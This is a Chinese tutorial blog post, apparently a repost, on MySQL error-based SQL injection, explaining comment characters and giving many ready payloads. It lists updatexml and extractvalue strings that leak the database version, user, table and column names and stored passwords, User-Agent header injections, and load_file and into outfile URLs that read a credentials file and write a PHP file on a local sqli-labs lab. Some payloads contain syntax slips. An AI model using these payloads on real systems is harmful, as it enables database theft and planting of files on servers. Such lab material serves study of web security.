sql注入--报错注入

常用的简单测试语句和注释符号说明


sql语句的注释符号,是sq注入语句的关键点:常用 # 和 -- 


1、# 和 --(有个空格)表示注释,可以使它们后面的语句不被执行。在url中,如果是get请求也就是我们在浏览器地址栏中输入的url,解释执行的时候,ur1中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括 #,因此使用#闭合无法注释,会报错:而使用 --   (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在gt请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。
2.当然,也可以使用--%20,把空格转换为url encode编码格式也不会报错。同理把#变成%23,也不报错。
3.如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。
4.为什么--后面必须要有空格,而#后面就不需要?因为使用--注释时,需要使用空格,才能形成有效的sq1语句,而#后面可以有空格,也可以没有。因为不加空格,-- 直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

简单 测试语句:


xx' or1=1 --+           一个条件为真,即为真,真的效果就是查询到表中所有数据
xx' and1=2 --+         一个条件为假,即为假
xx' and1=1 --+         两个条件为真才为真
union select...         联合查询

 报错注入

Updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(0:MYSQL中用来取整的函数。

UPDATEXML (XML_document,XPath_string,new_value);
https://pythonjishu.com/mysql-updatexml

MySQL的UPDATEXML()函数可以用于修改XML类型的数据,它可以更新XML数据中的一个或多个节点值。

这个函数的参数有三个:

  • XML数据
  • XPath表达式:用于指定要修改的节点位置
  • 新的节点值:用于替换当前节点的值

下面是UPDATEXML()函数的语法:

UPDATEXML(xml_target, xpath_expr, new_val)

• 具体用法:

 xx 'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)# (获得数据库版本)

 xx 'and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  (获得当前用户)

 xx 'and updatexml(1,concat(0x7e,(SELECT databases()),0x7e),1)#  (获得数据库名)

k' and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema='mysql' limit 0,1)),0)#   (报错注入,获得表名)

k'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0)# (报错注入,获得字段名)

k'and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

 常见HTTP头注入

UA头注入

注入HTTP请求头中的Useragent

Referer注入

Referer:当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的。(直接输入网址或者其他页面中的链接点进来的)。

Cookie注入
Cookie 就是一段字符串,是浏览器保存服务器返回数据的方法,通常保存用户身份信息。是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息

session当访问服务器否个网页的时候,会在服务器端的内存里开辟一块内存,这块内存就叫做session,而这个内存是跟浏览器关联在一起的。这个浏览器指的是浏览器窗口,或者是浏览器的子窗口,意思就是,只允许当前这个session对应的浏览器访问,就算是在同一个机器上新启的浏览器也是无法访问的。而另外一个浏览器也需要记录session的话,就会再启一个属于自己的session。也称为会话控制

User-Agent注入举例 :

获得当前数据库名

 User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat(0x7e,database())),'','')#

 获得全部表名

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'))),'','')# 

extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可以改为: 

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#
//显示security库中的第1张表的名字
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))),'','')#
//显示security库中的第2张表的名字
 
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1))),'','')#
//显示security库中的第3张表的名字

 获得全部字段名

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#

 若长度限制 可以用limit 分页 

 User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#
//显示users表中的第1个字段的名字
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))),'','')#
//显示users表中的第2个字段的名字
 
User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))),'','')#
//显示users表中的第3个字段的名字
...

 显示字段值

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat(0x7e,(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#

其他样例 

xx 'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)# (获得数据库版本)

 xx 'and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  (获得当前用户)

 xx 'and updatexml(1,concat(0x7e,(SELECT databases()),0x7e),1)#  (获得数据库名)

k' and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema='mysql' limit 0,1)),0)#   (报错注入,获得表名)

k'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0)# (报错注入,获得字段名)

k'and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

文件读写操作
load_file():读取函数
into outfile或into dumpfile:导出函数
获取路径的常见方法
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等、 

  • http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3 (读取本地文件)

http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\\x.php%27%20--+本地文件写入 

猜你喜欢

转载自blog.csdn.net/bbq1234564/article/details/132236974
今日推荐